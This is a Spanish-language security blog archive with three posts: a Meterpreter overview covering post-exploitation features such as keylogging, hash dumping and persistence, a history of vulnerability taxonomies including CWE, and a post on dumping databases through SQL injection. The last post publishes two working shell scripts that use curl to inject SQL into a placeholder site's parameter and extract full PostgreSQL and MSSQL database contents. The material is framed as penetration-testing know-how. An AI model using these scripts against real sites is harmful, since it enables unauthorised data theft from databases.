Mostrando entradas con la etiqueta ataque. Mostrar todas las entradas
Mostrando entradas con la etiqueta ataque. Mostrar todas las entradas

martes, 15 de junio de 2010

Meterpreter Cheat Sheet

Con el objetivo de contribuir en la divulgación de conocimiento en materia de seguridad informática y comunicaciones, desde blueliv, hemos desarrollado un “chuletario” de los comandos más relevantes de Meterpreter.

Muchos de vosotros, os preguntareis ¿qué es Meterpreter? y ¿para qué sirve?. La respuesta es muy simple, Meterpreter es una herramienta que se puede utilizar como payload en los exploits de Metasploit y fue desarrollado con el objetivo de implementar funcionalidades de muy compleja implementación en lenguaje ensamblador. Para ello, la técnica que utiliza es la inyección, en memoria, de extensiones DLL en los procesos en ejecución del equipo atacado. De modo que después de explotar una vulnerabilidad, automáticamente se cargarían dichas DLLs en el proceso vulnerable y se obtendría una interfaz de comandos amigable orientada al pentesting de sistemas.

Como veréis en el “chuletario”, descargable desde Aquí, existen multitud de comandos y scripts orientados al desarrollo de un proyecto de Auditoría de Seguridad de Sistemas Informáticos. Dichos comandos, se clasifican en:
  • Comandos base que nos permitirán ejecutar nuevos scripts desarrollados por la comunidad e incluso realizar nuestros propios mediante la interfaz del mismo Meterpreter
  • Comandos de sistema de ficheros que permiten movilidad entre directorios, listado de ficheros, así como subir y bajar ficheros
  • Comandos a nivel de red, que permiten obtener la configuración de la interfaz, listado de rutas del equipo remoto. Asimismo, se incorporan comandos para la utilización del equipo vulnerado como punto estratégico de puente hacia otras subredes mediante técnicas de “Port Forwarding”
  • Comandos de interacción con el sistema, como puede ser la ejecución de ficheros en el sistema remoto, la obtención de perfiles de privilegios o incluso la interacción con el registro de Windows
  • Comandos específicos de interacción con el entorno del usuario remoto, los cuales nos permiten obtener las pulsaciones insertadas por el mismo o incluso obtener instantáneas del estado del escritorio de forma transparente

La gran ventaja de meterpreter es que nos permite desarrollar nuestros propios scripts y ejecutarlos, mediante el comando run, pudiendo hacer, en función de los privilegios obtenidos en el sistema, lo que nuestra imaginación alcance:

  • Elevar privilegios en el sistema si disponemos de un usuario limitado
  • Obtener copias de la memoria RAM para poderla analizar y así obtener más información
  • Realizar volcados de los hashes de las contraseñas de los usuarios locales
  • Realizar capturas de tráfico en el segmento del equipo comprometido
  • Realizar enumeración de equipos conectados en el mismo segmento de red del equipo comprometido
  • Instalar meterpreter como servicio para ser accedido en cualquier momento
  • Obtener interfaz gráfica vía inyección de VNC

Otro punto a favor de Meterpreter es que podremos inyectarlo como payload de una explotación de una vulnerabilidad presente en Metasploit o bien, ejecutándolo como binario en caso de disponer de la posibilidad de subir/ejecutar dicho fichero en el equipo remoto.

Para dudas, sugerencias o aportaciones, disponemos del siguiente correo de contacto info@blueliv.com

Saludos,

jueves, 6 de mayo de 2010

La Clasificación de Vulnerabilidades bien entendida

La clasificación de las debilidades de seguridad en TI es realmente antigua. Ya en 1976, el proyecto RISOS, en su informe “Security Analysis and Enhancements of Computer Operating Systems”, reflejaba este interés por catalogar la naturaleza de vulnerabilidades própias de Sistemas Operativos.


Figura 1. Análisis de Seguridad de SOs de 1976


En esta auténtica reliquia, se establecen las bases para la clasificación de las debilidades de seguridad, donde se establece la siguiente taxonomía:

Figura 2. Primera clasificación de debilidades en Sistemas Operativos (1976)


Resulta sorprendente, a la par que razonable, comprobar que a pesar de haber transcurrido 34 años, a grandes rasgos, las debilidades catalogadas no distan demasiado de las premisas actuales.

No se tardó demasiado en evolucionar este modelo primigenio, puesto que en 1978, ARPA IPTO, en su proyecto “Protection Analysis”, introdujo una mayor granularidad en la clasificación de las debilidades, promoviendo de esta forma una taxonomía en árbol donde se diferencian clasificaciones de debilidades:

Figura 3. Evolución hacia una taxonomía en árbol para la clasificación de debilidades en Sistemas Operativos (1978)


Tras numerosos modelos intermedios, (orientado a aplicaciones, orientado a sistemas UNIX y redes, evolución de clasificación de vulnerabilidades en entornos UNIX, orientado a la clasificación de amenazas,o orientado a aplicaciones Web), nos encontramos con que actualmente, siguiendo las necesidades de clasificación, se han desarrollado diferentes formas, esquemas o marcos para intentar homogeneizar el seguimiento de debilidades, vulnerabilidades y patrones de ataque. Aún así, estos esquemas no son seguidos por todos los actores en el mercado de la seguridad, como deberían con objeto de seguir un estándar. Es por ello que surgen deficiencias, carencia o incorrecto uso de éstas.

Por estos motivos, viene siendo una práctica muy común, dentro del ámbito de las revisiones de seguridad, la carencia de una estructura coherente que permita clasificar las diferentes vulnerabilidades encontradas. Esta carencia dificulta la comparativa entre diferentes revisiones, máxime cuando éstas han sido llevadas a cabo por diferentes proveedores de seguridad, con diferentes herramientas, en diferentes momentos y con diferentes criterios (a pesar de los esfuerzos que hacen los receptores de los informes para unificar un reporting y unos criterios comunes). Por ello, resulta fundamental, dentro de cualquier modelo de seguridad gestionada y ciclo de mejora continua, que los trabajos realizados sean medibles de igual forma y comparables entre sí. De lo contrario, difícilmente se podrá saber el grado de evolución real y pragmática de los sistemas de gestión de vulnerabilidades.

Para resolver esta problemática, la organización sin ánimo de lucro MITRE desarrolla una serie de estándares que permiten homogeneizar las diferentes debilidades existentes, como puede ser la Common Weakness Enumeration (CWE). Así, se proporciona un marco unificado y mesurable para catalogar las vulnerabilidades de software.

De un modo muy resumido, a diferencia de las Common Vulnerabilites and Exposures (CVE), también desarrolladas por MITRE, las CWEs pretenden ser genéricas y preestablecidas. Por estos motivos, una vulnerabilidad tipificada bajo un CVE específico podrá mapearse contra alguna de las 631 debilidades base, estipuladas por CWE, y estas, a su vez, podrán clasificarse en alguna de las 65 categorías también definidas por CWE. Por si todo pareciese poco, cualquiera de las categorías puede ser agrupadas en algunas de las 4 vistas que estipula la CWE 1.8.1 (última versión hasta el momento).

Como puede imaginarse, el hecho de existir 810 códigos de CWE (incluyendo debilidades, categorías y vistas) dan para clasificar todas debilidades que puedan existir, y de hecho ese su objetivo, posibilitando mapeos con otras estructuras de clasificación, de las cuales se muestran algunos ejemplos:


Figura 4. Enumeración de CWEs mapeados contra OWASP Top 10 (Fuente: http://cwe.mitre.org/data/graphs/629.html)


Figura 5. Enumeración de CWEs mapeados contra CAPEC (Fuente: http://capec.mitre.org/data/xml/capec_v1.5.xml)


Cierto es que el mundo de la seguridad es muy dinámico, y que se incorporan nuevos patrones de debilidad con relativa frecuencia. Aunque la evolución que ha sufrido la catalogación de las debilidades, desde 1976, ha resultado en una estructura lo suficientemente madura como para que todos los profesionales del sector hagan el esfuerzo de etiquetar todas las vulnerabilidades que detecten con sus correspondientes códigos CWE, y por extensión puedan mapearse contra las principales estructuras de catalogación, tanto de debilidades como de patrones de ataque. De lo contrario, difícilmente se podrán comparar los resultados obtenidos entre las diferentes revisiones de seguridad que pueda realizarse, en diferentes momentos, por diferentes profesionales del sector y con diferentes criterios de actuación, imposibilitando medir de forma eficiente la evolución de la seguridad dentro de cualquier Organización.

Por todo esto, resulta estrictamente fundamental que todo sistema de gestión de debilidades proporcione un tejido de clasificación de debilidades de amplio espectro, como CWE, de fácil mapeo con otros modelos de clasificación ampliamente utilizados, que permita escalar adecuadamente y maximizar su integración en cualquier compañía.

martes, 13 de abril de 2010

Volcando bases de datos mediante el uso de SQL Injection

Sobre los fundamentos de SQL Injection, pocas cosas nuevas pueden decirse. Basta con realizar breves búsquedas en Internet para encontrar información sobre sus principios, su explotación, técnicas de evasión e incluso la automatización en la recuperación de la base de datos. El presente post aborda algunos detalles, útiles para facilitar y automatizar la adquisición de bases de datos subyacentes a un entorno Web, mediante la utilización de SQL Injection.

Existen múltiples herramientas, a disposición pública, que pueden ser útiles de cara a la extracción de información desde la base de datos, algunas de las herramientas, de libre distribución, más utilizadas son:

Herramienta

Más Información

Mini ysqlat0r

Herramienta multiplataforma (realizada en java) útil para auditar entornos Web. Interesante motor de crawling para enumerar rápidamente los diferentes parámetros susceptibles de inyección SQL

SQLBrute

Herramienta desarrollada en Python y orientada a la explotación de Blind SQL Injections.

SQLiX

Herramienta desarrollada en Perl, útil para el escaneo de entornos Web. Permite la realización de crawling previo a la inyección de código SQL, identifica la base de datos subyacente y permite la ejecución de comandos de sistema (funcionalidad disponible para MS SQL).

SQLsus

Herramienta desarrollada en Perl, útil para la explotación de vulnerabilidades de inyección de código SQL en entornos mysql server.

Sqlmap

Herramienta desarrollada en Python, útil para la explotación de vulnerabilidades de inyección de código SQL. Permite la detección de la base de datos subyacente, database fingerprinting y ejecución de comandos de sistema (funcionalidad disponible para MS SQL), etc. Integración con Metasploit.

SQLninja

Herramienta desarrollada en Perl para la explotación de vulnerabilidades de inyección de código SQL en bases de datos MS SQL Server, permitiendo la ejecución de comandos del sistema, enumeración, ataques de fuerza bruta contra el usuario ‘sa’, etc. La herramienta está dirigida a la intrusión, no tanto como para la adquisición de información. Integración con Metasploit (en caso de utilizar el payload de VNC).

Pangolín

Herramienta propietaria que permite, mediante la explotación de vulnerabilidades de inyección de código SQL, obtener datos de la base de datos subyacente y enumerar información de diferente índole: usuarios, hashes de contraseñas, etc. Permite la elevación de privilegios en el entorno de la base de datos, así como el password cracking de los hashes obtenidos.


De todas formas, independientemente del valor aportado por cada herramienta, el número de puntos de inyección de código SQL no detectado, o simplemente no explotable mediante el uso de herramientas genéricas, es muy significativo. Para estos casos, no hay nada como hacérselo uno mismo.

A continuación se liberan algunos scripts, desarrollados “para salir del paso”, que permiten explotar vulnerabilidades de inyección de código SQL y obtener el volcado íntegro de diferentes motores de bases de datos. Cabe destacar que dichos scripts deberán personalizarse para cada punto de inyección que se desee explotar.

Volcado de una base de datos Postgresql, mediante la inyección de código SQL en un parámetro numérico (y por consiguiente, evasión del parseo de comillas)

##############################################################################

#Volcado de una BBDD basada en PostgreSQL

#mediante la inyección de código SQL

#en un parámetro numérico

#

# http://www.blueliv.com

#

##############################################################################

#!/bin/sh

>esquema_bbdd.txt

#Número total de filas necesario para obtener el esquema de la BBDD

num_tables=`curl -s --data 'parametro_vulnerable=1); SELECT count(*) FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 limit 1 offset 0;--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

#Obtención del esquema de la base de datos

NUM=0

while [ $NUM -lt $num_tables ]; do

curl -s --data 'parametro_vulnerable=1); SELECT relname||chr(124)||attname||chr(124)||atttypid FROM pg_class,pg_attribute WHERE pg_attribute.attrelid=pg_class.oid AND attnum > 0 AND atttypid != 16 order by relname limit 1 offset '$NUM';--' http://www.www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'} >> esquema_bbdd.txt

((NUM = NUM + 1))

done

#Obtención del contenido de las tablas, fila a fila, mediante concatenación

for table in `cat esquema_bbdd.txt | awk -F "|" {'print $1'} | sort -u | grep -v "pg_" | grep -v "pga_"`; do

row=`cat esquema_bbdd.txt | grep $table | awk -F "|" {'print $2"::text||chr(124)||"'} | tr -d '\n'`

row_total=`curl -s --data 'parametro_vulnerable=1); SELECT count(*) FROM '$table' limit 1;--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

rownumber=0

echo $table

columns=`echo $row | sed -e 's/||chr(124)||/|/g'`

echo $columns

while [ $rownumber -lt $row_total ]; do

row2=`echo $row | sed -e 's/||chr(124)||$//'`

valor_fila=`curl -s --data 'parametro_vulnerable=1); SELECT '$row2' FROM '$table' limit 1 offset '$rownumber';--' http://www.site_vulnerable.com/file.php | grep palabra_token | awk -F ": " {'print $2'} | awk -F "<" {'print $1'}`

echo $valor_fila

((rownumber = rownumber + 1))

done

echo ""

sleep 1

done

Volcado de una base de datos MSSQL Server 2000, mediante la inyección de código SQL utilizando el operador UNION

##############################################################################

#Volcado de las 100 primeras filas de todas las

# tablas de usuario de una BBDD basada en MSSQL Server 2000

#mediante la inyección de código SQL

#utilizando el operador UNION:

#

# http://www.blueliv.com

#

##############################################################################

#!/bin/sh

#>esquema_bbdd_se.txt

>volcado_bbdd_se.csv

>columnas_invalidas_se.txt

#Obtención del esquema de la base de datos

#num_tables=`curl -s --data "parametro_vulnerable=1%27+union+(SELECT (o.name%2B'|'%2Bc.name)+FROM+dbo.syscolumns+c+INNER+JOIN+dbo.sysobjects+o+ON+c.id=o.id+WHERE+o.xtype='u')+--" http://www.site_vulnerable/file.php | grep "option value" | awk -F "\"" {'print $2'} > esquema_bbdd_se.txt`

#Obtención del total de filas para cada tabla

for table in `cat esquema_bbdd_se.txt | awk -F "|" {'print $1'} | sort -u`; do

total_row=`curl -s --data "parámetro_vulnerable=1%27+union+(SELECT count(*) from "$table")--" http://www.site_vulnerable.com/file.php | grep "palabra_token" | awk -F "\"" {'print $2'}`

echo $table" ("$total_row" registros)"

for column in `cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print $2'}`; do

echo -n "$column|"

done

echo ""

query=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n'`

tam=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n' | wc -c`

let tam2=$tam-9

query=`cat esquema_bbdd_se.txt | grep ^$table\| | awk -F "|" {'print "cast(coalesce("$2",'\'\'')+as+varchar)%2B'\'\|\''%2B"'} | tr -d '\n' | cut -b-$tam2`

errores=`curl -s --data "parametro_vulnerable=null%27 union (select top 1 "$query" FROM "$table")--" http://www.site_vulnerable.com | egrep -i 'column|Error'`

echo "Error en tabla $table -> $errores" >> columnas_invalidas_se.txt

#Obtenición de las 100 primeras filas de cada tabla

valor_tabla=`curl -s --data "parametro_vulnerable=null%27 union (select top 100 "$query" FROM "$table")--" http://www.site_vulnerable.com/file.php | grep "option value" | awk -F "\"" {'print $2'}`

echo "$valor_tabla"

echo ""

sleep 1

done

* El texto destacado en rojo es susceptible de ser modificado para cada punto de inyección

No podría despedirme sin hacer mención al capítulo “Data Validation” del proyecto OWASP donde se puede encontrar información, siempre interesante, sobre los fundamentos de lo anteriormente explicado.